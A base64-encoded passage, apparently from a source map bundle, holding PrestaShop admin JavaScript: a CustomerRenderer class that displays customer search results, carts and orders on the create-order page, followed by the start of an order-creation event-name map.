NvbS8gZm9yIG1vcmUgaW5mb3JtYXRpb24uXG4gKlxuICogQGF1dGhvciAgICBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnMgPGNvbnRhY3RAcHJlc3Rhc2hvcC5jb20+XG4gKiBAY29weXJpZ2h0IFNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBAbGljZW5zZSAgIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMCBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKi9cblxuaW1wb3J0IGNyZWF0ZU9yZGVyTWFwIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvY3JlYXRlLW9yZGVyLW1hcCc7XG5pbXBvcnQgUm91dGVyIGZyb20gJ0Bjb21wb25lbnRzL3JvdXRlcic7XG5pbXBvcnQgZXZlbnRNYXAgZnJvbSAnQHBhZ2VzL29yZGVyL2NyZWF0ZS9ldmVudC1tYXAnO1xuaW1wb3J0IHtFdmVudEVtaXR0ZXJ9IGZyb20gJ0Bjb21wb25lbnRzL2V2ZW50LWVtaXR0ZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUmVzcG9uc2libGUgZm9yIGN1c3RvbWVyIGluZm9ybWF0aW9uIHJlbmRlcmluZ1xuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDdXN0b21lclJlbmRlcmVyIHtcbiAgY29uc3RydWN0b3IoKSB7XG4gICAgdGhpcy4kY29udGFpbmVyID0gJChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaEJsb2NrKTtcbiAgICB0aGlzLiRjdXN0b21lclNlYXJjaFJlc3VsdEJsb2NrID0gJChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaFJlc3VsdHNCbG9jayk7XG4gICAgdGhpcy5yb3V0ZXIgPSBuZXcgUm91dGVyKCk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBjdXN0b21lciBzZWFyY2ggcmVzdWx0c1xuICAgKlxuICAgKiBAcGFyYW0gZm91bmRDdXN0b21lcnNcbiAgICovXG4gIHJlbmRlclNlYXJjaFJlc3VsdHMoZm91bmRDdXN0b21lcnMpIHtcbiAgICBpZiAoZm91bmRDdXN0b21lcnMubGVuZ3RoID09PSAwKSB7XG4gICAgICBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jdXN0b21lcnNOb3RGb3VuZCk7XG5cbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBPYmplY3QuZW50cmllcyhmb3VuZEN1c3RvbWVycykuZm9yRWFjaCgoW2N1c3RvbWVySWQsIGN1c3RvbWVyUmVzdWx0XSkgPT4ge1xuICAgICAgY29uc3QgY3VzdG9tZXIgPSB7XG4gICAgICAgIGlkOiBjdXN0b21lcklkLFxuICAgICAgICBmaXJzdE5hbWU6IGN1c3RvbWVyUmVzdWx0LmZpcnN0bmFtZSxcbiAgICAgICAgbGFzdE5hbWU6IGN1c3RvbWVyUmVzdWx0Lmxhc3RuYW1lLFxuICAgICAgICBlbWFpbDogY3VzdG9tZXJSZXN1bHQuZW1haWwsXG4gICAgICAgIGJpcnRoZGF5OiBjdXN0b21lclJlc3VsdC5iaXJ0aGRheSAhPT0gJzAwMDAtMDAtMDAnID8gY3VzdG9tZXJSZXN1bHQuYmlydGhkYXkgOiAnICcsXG4gICAgICB9O1xuXG4gICAgICB0aGlzLnJlbmRlckZvdW5kQ3VzdG9tZXIoY3VzdG9tZXIpO1xuICAgIH0pO1xuXG4gICAgLy8gU2hvdyBjdXN0b21lciBkZXRhaWxzIGluIGZhbmN5IGJveFxuICAgICQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJEZXRhaWxzQnRuKS5mYW5jeWJveCh7XG4gICAgICB0eXBlOiAnaWZyYW1lJyxcbiAgICAgIHdpZHRoOiAnOTAlJyxcbiAgICAgIGhlaWdodDogJzkwJScsXG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogUmVzcG9uc2libGUgZm9yIGRpc3BsYXlpbmcgY3VzdG9tZXIgYmxvY2sgYWZ0ZXIgY3VzdG9tZXIgc2VsZWN0XG4gICAqXG4gICAqIEBwYXJhbSAkdGFyZ2V0ZWRCdG5cbiAgICovXG4gIGRpc3BsYXlTZWxlY3RlZEN1c3RvbWVyQmxvY2soJHRhcmdldGVkQnRuKSB7XG4gICAgdGhpcy5zaG93Q2hlY2tvdXRIaXN0b3J5QmxvY2soKTtcblxuICAgICR0YXJnZXRlZEJ0bi5hZGRDbGFzcygnZC1ub25lJyk7XG5cbiAgICBjb25zdCAkY3VzdG9tZXJDYXJkID0gJHRhcmdldGVkQnRuLmNsb3Nlc3QoJy5jYXJkJyk7XG5cbiAgICAkY3VzdG9tZXJDYXJkLmFkZENsYXNzKCdib3JkZXItc3VjY2VzcycpO1xuICAgICRjdXN0b21lckNhcmQuZmluZChjcmVhdGVPcmRlck1hcC5jaGFuZ2VDdXN0b21lckJ0bikucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuXG4gICAgdGhpcy4kY29udGFpbmVyLmZpbmQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJTZWFyY2hSb3cpLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgICB0aGlzLiRjb250YWluZXIuZmluZChjcmVhdGVPcmRlck1hcC5ub3RTZWxlY3RlZEN1c3RvbWVyU2VhcmNoUmVzdWx0cylcbiAgICAgIC5jbG9zZXN0KGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoUmVzdWx0Q29sdW1uKVxuICAgICAgLnJlbW92ZSgpO1xuXG4gICAgLy8gSW5pdGlhbCBkaXNwbGF5IG9mIHRoZSBjdXN0b21lciwgdGhlIGNhcnQgaXMgZ29ubmEgYmUgY3JlYXRlZCB0aGVuIGN1c3RvbWVyJ3MgY2FydHNcbiAgICAvLyBhbmQgb3JkZXJzIGFyZSBnb2luZyB0byBiZSBmZXRjaGVkLCBidXQgd2UgY2FuIGRpc3BsYXkgdGhlIGxvYWRpbmcgbWVzc2FnZXMgcmlnaHQgbm93XG4gICAgdGhpcy5zaG93TG9hZGluZ0NhcnRzKCk7XG4gICAgdGhpcy5zaG93TG9hZGluZ09yZGVycygpO1xuICB9XG5cbiAgLyoqXG4gICAqIFNob3dzIGN1c3RvbWVyIHNlYXJjaCBibG9ja1xuICAgKi9cbiAgc2hvd0N1c3RvbWVyU2VhcmNoKCkge1xuICAgIHRoaXMuJGNvbnRhaW5lci5maW5kKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoUm93KS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogRW1wdHkgdGhlIGNhcnQgbGlzdCBhbmQgZGlzcGxheSBhIGxvYWRpbmcgbWVzc2FnZS5cbiAgICovXG4gIHNob3dMb2FkaW5nQ2FydHMoKSB7XG4gICAgY29uc3QgJGNhcnRzVGFibGUgPSAkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyQ2FydHNUYWJsZSk7XG4gICAgJGNhcnRzVGFibGUuZmluZCgndGJvZHknKS5lbXB0eSgpO1xuICAgIHRoaXMucmVuZGVyTG9hZGluZygkY2FydHNUYWJsZSk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBjdXN0b21lciBjYXJ0cyBsaXN0XG4gICAqXG4gICAqIEBwYXJhbSB7QXJyYXl9IGNhcnRzXG4gICAqIEBwYXJhbSB7SW50fSBjdXJyZW50Q2FydElkXG4gICAqL1xuICByZW5kZXJDYXJ0cyhjYXJ0cywgY3VycmVudENhcnRJZCkge1xuICAgIGNvbnN0ICRjYXJ0c1RhYmxlID0gJChjcmVhdGVPcmRlck1hcC5jdXN0b21lckNhcnRzVGFibGUpO1xuICAgIGNvbnN0ICRjYXJ0c1RhYmxlUm93VGVtcGxhdGUgPSAkKCQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJDYXJ0c1RhYmxlUm93VGVtcGxhdGUpLmh0bWwoKSk7XG5cbiAgICAkY2FydHNUYWJsZS5maW5kKCd0Ym9keScpLmVtcHR5KCk7XG4gICAgdGhpcy5zaG93Q2hlY2tvdXRIaXN0b3J5QmxvY2soKTtcbiAgICB0aGlzLnJlbW92ZUVtcHR5TGlzdFJvd0Zyb21UYWJsZSgkY2FydHNUYWJsZSk7XG5cbiAgICBPYmplY3QudmFsdWVzKGNhcnRzKS5mb3JFYWNoKChjYXJ0KSA9PiB7XG4gICAgICAvLyBkbyBub3QgcmVuZGVyIGN1cnJlbnQgY2FydFxuICAgICAgaWYgKGNhcnQuY2FydElkID09PSBjdXJyZW50Q2FydElkKSB7XG4gICAgICAgIC8vIHJlbmRlciAnTm8gcmVjb3JkcyBmb3VuZCcgd2FybiBpZiBjYXJ0cyBvbmx5IGNvbnRhaW4gY3VycmVudCBjYXJ0XG4gICAgICAgIGlmIChjYXJ0cy5sZW5ndGggPT09IDEpIHtcbiAgICAgICAgICB0aGlzLnJlbmRlckVtcHR5TGlzdCgkY2FydHNUYWJsZSk7XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm47XG4gICAgICB9XG5cbiAgICAgIGNvbnN0ICRjYXJ0c1RhYmxlUm93ID0gJGNhcnRzVGFibGVSb3dUZW1wbGF0ZS5jbG9uZSgpO1xuXG4gICAgICAkY2FydHNUYWJsZVJvdy5maW5kKGNyZWF0ZU9yZGVyTWFwLmNhcnRJZEZpZWxkKS50ZXh0KGNhcnQuY2FydElkKTtcbiAgICAgICRjYXJ0c1RhYmxlUm93LmZpbmQoY3JlYXRlT3JkZXJNYXAuY2FydERhdGVGaWVsZCkudGV4dChjYXJ0LmNyZWF0aW9uRGF0ZSk7XG4gICAgICAkY2FydHNUYWJsZVJvdy5maW5kKGNyZWF0ZU9yZGVyTWFwLmNhcnRUb3RhbEZpZWxkKS50ZXh0KGNhcnQudG90YWxQcmljZSk7XG4gICAgICAkY2FydHNUYWJsZVJvdy5maW5kKGNyZWF0ZU9yZGVyTWFwLmNhcnREZXRhaWxzQnRuKS5wcm9wKFxuICAgICAgICAnaHJlZicsXG4gICAgICAgIHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c192aWV3Jywge1xuICAgICAgICAgIGNhcnRJZDogY2FydC5jYXJ0SWQsXG4gICAgICAgICAgbGl0ZURpc3BsYXlpbmc6IDEsXG4gICAgICAgIH0pLFxuICAgICAgKTtcblxuICAgICAgJGNhcnRzVGFibGVSb3cuZmluZChjcmVhdGVPcmRlck1hcC51c2VDYXJ0QnRuKS5kYXRhKCdjYXJ0LWlkJywgY2FydC5jYXJ0SWQpO1xuXG4gICAgICAkY2FydHNUYWJsZS5maW5kKCd0aGVhZCcpLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgICAgICRjYXJ0c1RhYmxlLmZpbmQoJ3Rib2R5JykuYXBwZW5kKCRjYXJ0c1RhYmxlUm93KTtcbiAgICB9KTtcblxuICAgIC8vIFNob3cgY2FydCBkZXRhaWxzIGluIGZhbmN5IGJveFxuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydERldGFpbHNCdG4pLmZhbmN5Ym94KHtcbiAgICAgIHR5cGU6ICdpZnJhbWUnLFxuICAgICAgd2lkdGg6ICc5MCUnLFxuICAgICAgaGVpZ2h0OiAnOTAlJyxcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBFbXB0eSB0aGUgb3JkZXIgbGlzdCBhbmQgZGlzcGxheSBhIGxvYWRpbmcgbWVzc2FnZS5cbiAgICovXG4gIHNob3dMb2FkaW5nT3JkZXJzKCkge1xuICAgIGNvbnN0ICRvcmRlcnNUYWJsZSA9ICQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJPcmRlcnNUYWJsZSk7XG4gICAgJG9yZGVyc1RhYmxlLmZpbmQoJ3Rib2R5JykuZW1wdHkoKTtcbiAgICB0aGlzLnJlbmRlckxvYWRpbmcoJG9yZGVyc1RhYmxlKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGN1c3RvbWVyIG9yZGVycyBsaXN0XG4gICAqXG4gICAqIEBwYXJhbSB7QXJyYXl9IG9yZGVyc1xuICAgKi9cbiAgcmVuZGVyT3JkZXJzKG9yZGVycykge1xuICAgIGNvbnN0ICRvcmRlcnNUYWJsZSA9ICQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJPcmRlcnNUYWJsZSk7XG4gICAgY29uc3QgJHJvd1RlbXBsYXRlID0gJCgkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyT3JkZXJzVGFibGVSb3dUZW1wbGF0ZSkuaHRtbCgpKTtcblxuICAgICRvcmRlcnNUYWJsZS5maW5kKCd0Ym9keScpLmVtcHR5KCk7XG4gICAgdGhpcy5zaG93Q2hlY2tvdXRIaXN0b3J5QmxvY2soKTtcbiAgICB0aGlzLnJlbW92ZUVtcHR5TGlzdFJvd0Zyb21UYWJsZSgkb3JkZXJzVGFibGUpO1xuXG4gICAgLy8gcmVuZGVyICdObyByZWNvcmRzIGZvdW5kJyB3aGVuIGxpc3QgaXMgZW1wdHlcbiAgICBpZiAob3JkZXJzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgdGhpcy5yZW5kZXJFbXB0eUxpc3QoJG9yZGVyc1RhYmxlKTtcblxuICAgICAgcmV0dXJuO1xuICAgIH1cblxuICAgIE9iamVjdC52YWx1ZXMob3JkZXJzKS5mb3JFYWNoKChvcmRlcikgPT4ge1xuICAgICAgY29uc3QgJHRlbXBsYXRlID0gJHJvd1RlbXBsYXRlLmNsb25lKCk7XG5cbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLm9yZGVySWRGaWVsZCkudGV4dChvcmRlci5vcmRlcklkKTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLm9yZGVyRGF0ZUZpZWxkKS50ZXh0KG9yZGVyLm9yZGVyUGxhY2VkRGF0ZSk7XG4gICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5vcmRlclByb2R1Y3RzRmllbGQpLnRleHQob3JkZXIub3JkZXJQcm9kdWN0c0NvdW50KTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLm9yZGVyVG90YWxGaWVsZCkudGV4dChvcmRlci50b3RhbFBhaWQpO1xuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAub3JkZXJQYXltZW50TWV0aG9kKS50ZXh0KG9yZGVyLnBheW1lbnRNZXRob2ROYW1lKTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLm9yZGVyU3RhdHVzRmllbGQpLnRleHQob3JkZXIub3JkZXJTdGF0dXMpO1xuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAub3JkZXJEZXRhaWxzQnRuKS5wcm9wKFxuICAgICAgICAnaHJlZicsXG4gICAgICAgIHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9vcmRlcnNfdmlldycsIHtcbiAgICAgICAgICBvcmRlcklkOiBvcmRlci5vcmRlcklkLFxuICAgICAgICAgIGxpdGVEaXNwbGF5aW5nOiAxLFxuICAgICAgICB9KSxcbiAgICAgICk7XG5cbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLnVzZU9yZGVyQnRuKS5kYXRhKCdvcmRlci1pZCcsIG9yZGVyLm9yZGVySWQpO1xuXG4gICAgICAkb3JkZXJzVGFibGUuZmluZCgndGhlYWQnKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gICAgICAkb3JkZXJzVGFibGUuZmluZCgndGJvZHknKS5hcHBlbmQoJHRlbXBsYXRlKTtcbiAgICB9KTtcblxuICAgIC8vIFNob3cgb3JkZXIgZGV0YWlscyBpbiBmYW5jeSBib3hcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLm9yZGVyRGV0YWlsc0J0bikuZmFuY3lib3goe1xuICAgICAgdHlwZTogJ2lmcmFtZScsXG4gICAgICB3aWR0aDogJzkwJScsXG4gICAgICBoZWlnaHQ6ICc5MCUnLFxuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIFNob3dzIGVtcHR5IHJlc3VsdCB3aGVuIGN1c3RvbWVyIGlzIG5vdCBmb3VuZFxuICAgKi9cbiAgc2hvd05vdEZvdW5kQ3VzdG9tZXJzKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJTZWFyY2hFbXB0eVJlc3VsdFdhcm5pbmcpLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBub3QgZm91bmQgY3VzdG9tZXJzIHdhcm5pbmdcbiAgICovXG4gIGhpZGVOb3RGb3VuZEN1c3RvbWVycygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoRW1wdHlSZXN1bHRXYXJuaW5nKS5hZGRDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogSGlkZXMgY2hlY2tvdXQgaGlzdG9yeSBibG9jayB3aGVyZSBjYXJ0cyBhbmQgb3JkZXJzIGFyZSByZW5kZXJlZFxuICAgKi9cbiAgaGlkZUNoZWNrb3V0SGlzdG9yeUJsb2NrKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY3VzdG9tZXJDaGVja291dEhpc3RvcnkpLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBzZWFyY2hpbmcgY3VzdG9tZXJzIG5vdGljZSBkdXJpbmcgcmVxdWVzdFxuICAgKi9cbiAgc2hvd1NlYXJjaGluZ0N1c3RvbWVycygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoTG9hZGluZ05vdGljZSkucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGUgc2VhcmNoaW5nIG5vdGljZVxuICAgKi9cbiAgaGlkZVNlYXJjaGluZ0N1c3RvbWVycygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoTG9hZGluZ05vdGljZSkuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgJ05vIHJlY29yZHMnIHdhcm5pbmcgaW4gbGlzdFxuICAgKlxuICAgKiBAcGFyYW0gJHRhYmxlXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJFbXB0eUxpc3QoJHRhYmxlKSB7XG4gICAgY29uc3QgJGVtcHR5VGFibGVSb3cgPSAkKCQoY3JlYXRlT3JkZXJNYXAuZW1wdHlMaXN0Um93VGVtcGxhdGUpLmh0bWwoKSkuY2xvbmUoKTtcbiAgICAkdGFibGUuZmluZCgndGJvZHknKS5hcHBlbmQoJGVtcHR5VGFibGVSb3cpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgJ0xvYWRpbmcnIG1lc3NhZ2UgaW4gbGlzdFxuICAgKlxuICAgKiBAcGFyYW0gJHRhYmxlXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJMb2FkaW5nKCR0YWJsZSkge1xuICAgIGNvbnN0ICRlbXB0eVRhYmxlUm93ID0gJCgkKGNyZWF0ZU9yZGVyTWFwLmxvYWRpbmdMaXN0Um93VGVtcGxhdGUpLmh0bWwoKSkuY2xvbmUoKTtcbiAgICAkdGFibGUuZmluZCgndGJvZHknKS5hcHBlbmQoJGVtcHR5VGFibGVSb3cpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbW92ZXMgZW1wdHkgbGlzdCByb3cgaW4gY2FzZSBpdCB3YXMgcmVuZGVyZWRcbiAgICovXG4gIHJlbW92ZUVtcHR5TGlzdFJvd0Zyb21UYWJsZSgkdGFibGUpIHtcbiAgICAkdGFibGUuZmluZChjcmVhdGVPcmRlck1hcC5lbXB0eUxpc3RSb3cpLnJlbW92ZSgpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgY3VzdG9tZXIgaW5mb3JtYXRpb24gYWZ0ZXIgc2VhcmNoIGFjdGlvblxuICAgKlxuICAgKiBAcGFyYW0ge09iamVjdH0gY3VzdG9tZXJcbiAgICpcbiAgICogQHJldHVybiB7alF1ZXJ5fVxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcmVuZGVyRm91bmRDdXN0b21lcihjdXN0b21lcikge1xuICAgIHRoaXMuaGlkZU5vdEZvdW5kQ3VzdG9tZXJzKCk7XG5cbiAgICBjb25zdCAkY3VzdG9tZXJTZWFyY2hSZXN1bHRUZW1wbGF0ZSA9ICQoJChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaFJlc3VsdFRlbXBsYXRlKS5odG1sKCkpO1xuICAgIGNvbnN0ICR0ZW1wbGF0ZSA9ICRjdXN0b21lclNlYXJjaFJlc3VsdFRlbXBsYXRlLmNsb25lKCk7XG5cbiAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaFJlc3VsdE5hbWUpLnRleHQoYCR7Y3VzdG9tZXIuZmlyc3ROYW1lfSAke2N1c3RvbWVyLmxhc3ROYW1lfWApO1xuICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoUmVzdWx0RW1haWwpLnRleHQoY3VzdG9tZXIuZW1haWwpO1xuICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoUmVzdWx0SWQpLnRleHQoY3VzdG9tZXIuaWQpO1xuICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoUmVzdWx0QmlydGhkYXkpLnRleHQoY3VzdG9tZXIuYmlydGhkYXkpO1xuICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmNob29zZUN1c3RvbWVyQnRuKS5kYXRhKCdjdXN0b21lci1pZCcsIGN1c3RvbWVyLmlkKTtcbiAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5jdXN0b21lckRldGFpbHNCdG4pLnByb3AoXG4gICAgICAnaHJlZicsXG4gICAgICB0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY3VzdG9tZXJzX3ZpZXcnLCB7XG4gICAgICAgIGN1c3RvbWVySWQ6IGN1c3RvbWVyLmlkLFxuICAgICAgICBsaXRlRGlzcGxheWluZzogMSxcbiAgICAgIH0pLFxuICAgICk7XG5cbiAgICByZXR1cm4gdGhpcy4kY3VzdG9tZXJTZWFyY2hSZXN1bHRCbG9jay5hcHBlbmQoJHRlbXBsYXRlKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBjaGVja291dCBoaXN0b3J5IGJsb2NrIHdoZXJlIGNhcnRzIGFuZCBvcmRlcnMgYXJlIHJlbmRlcmVkXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93Q2hlY2tvdXRIaXN0b3J5QmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jdXN0b21lckNoZWNrb3V0SGlzdG9yeSkucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIENsZWFycyBzaG93biBjdXN0b21lcnNcbiAgICovXG4gIGNsZWFyU2hvd25DdXN0b21lcnMoKSB7XG4gICAgdGhpcy4kY3VzdG9tZXJTZWFyY2hSZXN1bHRCbG9jay5lbXB0eSgpO1xuICB9XG59XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbi8qKlxuICogRW5jYXBzdWxhdGVzIGpzIGV2ZW50cyB1c2VkIGluIGNyZWF0ZSBvcmRlciBwYWdlXG4gKi9cbmV4cG9ydCBkZWZhdWx0IHtcbiAgLy8gd2hlbiBjdXN0b21lciBzZWFyY2ggYWN0aW9uIGlzIGRvbmVcbiAgY3VzdG9tZXJTZWFyY2hlZDogJ09yZGVyQ3JlYXRlQ3VzdG9tZXJTZWFyY2hlZCcsXG4gIC8vIHdoZW4gbmV3IGN1c3RvbWVyIGlzIHNlbGVjdGVkXG4gIGN1c3RvbWVyU2VsZWN0ZWQ6ICdPcmRlckNyZWF0ZUN1c3RvbWVyU2VsZWN0ZWQnLFxuICAvLyB3aGVuIG5vIGN1c3RvbWVycyBmb3VuZCBieSBzZWFyY2hcbiAgY3VzdG9tZXJzTm90Rm91bmQ6ICdPcmRlckNyZWF0ZVNlYXJjaEN1c3RvbWVyTm90Rm91bmQnLFxuICAvLyB3aGVuIG5ldyBjYXJ0IGlzIGxvYWRlZCxcbiAgLy8gIG5vIG1hdHRlciBpZiBpdHMgZW1wdHksIHNlbGVjdGVkIGZyb20gY2FydHMgbGlzdCBvciBkdXBsaWNhdGVkIGJ5IG9yZGVyLlxuICBjYXJ0TG9hZGVkOiAnT3JkZXJDcmVhdGVDYXJ0TG9hZGVkJyxcbiAgLy8gd2hlbiBjYXJ0IGN1cnJlbmN5IGhhcyBiZWVuIGNoYW5nZWRcbiAgY2FydEN1cnJlbmN5Q2hhbmdlZDogJ09yZGVyQ3JlYXRlQ2FydEN1cnJlbmN5Q2hhbmdlZCcsXG4gIC8vIHdoZW4gY2FydCBjdXJyZW5jeSBjaGFuZ2luZyBmYWlsc1xuICBjYXJ0Q3VycmVuY3lDaGFuZ2VGYWlsZWQ6ICdPcmRlckNyZWF0ZUNhcnRDdXJyZW5jeUNoYW5nZUZhaWxlZCcsXG4gIC8vIHdoZW4gY2FydCBsYW5ndWFnZSBoYXMgYmVlbiBjaGFuZ2VkXG4gIGNhcnRMYW5ndWFnZUNoYW5nZWQ6ICdPcmRlckNyZWF0ZUNhcnRMYW5ndWFnZUNoYW5nZWQnLFxuICAvLyB3aGVuIGNhcnQgYWRkcmVzc2VzIGluZm9ybWF0aW9uIGhhcyBiZWVuIGNoYW5nZWRcbiAgY2FydEFkZHJlc3Nlc0NoYW5nZWQ6ICdPcmRlckNyZWF0ZUNhcnRBZGRyZXNzZXNDaGFuZ2VkJyxcbiAgLy8gd2hlbiBjYXJ0IGRlbGl2ZXJ5IG9wdGlvbiBoYXMgYmVlbiBjaGFuZ2VkXG4gIGNhcnREZWxpdmVyeU9wdGlvbkNoYW5nZWQ6ICdPcmRlckNyZWF0ZUNhcnREZWxpdmVye